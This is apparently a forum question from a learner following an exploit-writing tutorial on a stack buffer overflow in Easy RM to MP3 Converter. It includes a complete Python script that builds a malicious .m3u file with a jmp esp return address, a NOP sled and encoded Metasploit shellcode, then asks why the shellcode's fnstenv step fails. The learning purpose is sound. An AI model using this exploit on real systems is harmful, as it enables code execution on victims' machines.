I am going through an introductory tutorial on writing exploits, which can be found here. The tutorial goes over a simple stack based buffer overflow vulnerability in the Easy RM to MP3 Conversion Utility. I had the basic PoC working (although, I found a different offset to overwrite EIP than the author even though I used the same version). In other words, I was able to take control over EIP and have it jump into a nopsled before the shellcode, and the test shellcode containing only a break instruction worked perfectly fine. However, I seem to be running into issues when using real shellcode generated with metasploit (as shown on the tutorial). Here is the Python script I wrote while following the tutorial (I didn't want to use Perl...):
from struct import pack
filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"
preshell = "X" * 4
shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"
payload = junk + eip + preshell + shellcode
with open(filename, "wb") as file:
file.write(payload)
Here is what Windbg shows after the shellcode crashes (note that the jmp esp worked perfectly fine and that the exception occurred inside the shellcode):
After looking at the debugger, it seems that the problem is with the fnstenv instruction, which appears toward the beginning of the shellcode. From what I've found in this Phrack article, fnstenv is used as a way of getting EIP popping it off the stack into a register:
Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters.
It seems like this is necessary/useful in order to decode the encoded shellcode. However, the address that gets popped from the stack after the fnstenv call always turns out to be NULL (0x00000000), and then the shellcode subsequently crashes. I even tried this exploit/shellcode on another Windows XP VM that I had (though I didn't originally set it up myself) and noticed the same result happening.
My question is simply, why is this happening? What would cause the fnstenv instruction to fail, resulting in a NULL address instead of EIP's address? Is there some setting I need to change (perhaps something with Virtualbox's hardware settings for the VM?) that is preventing this from working correctly?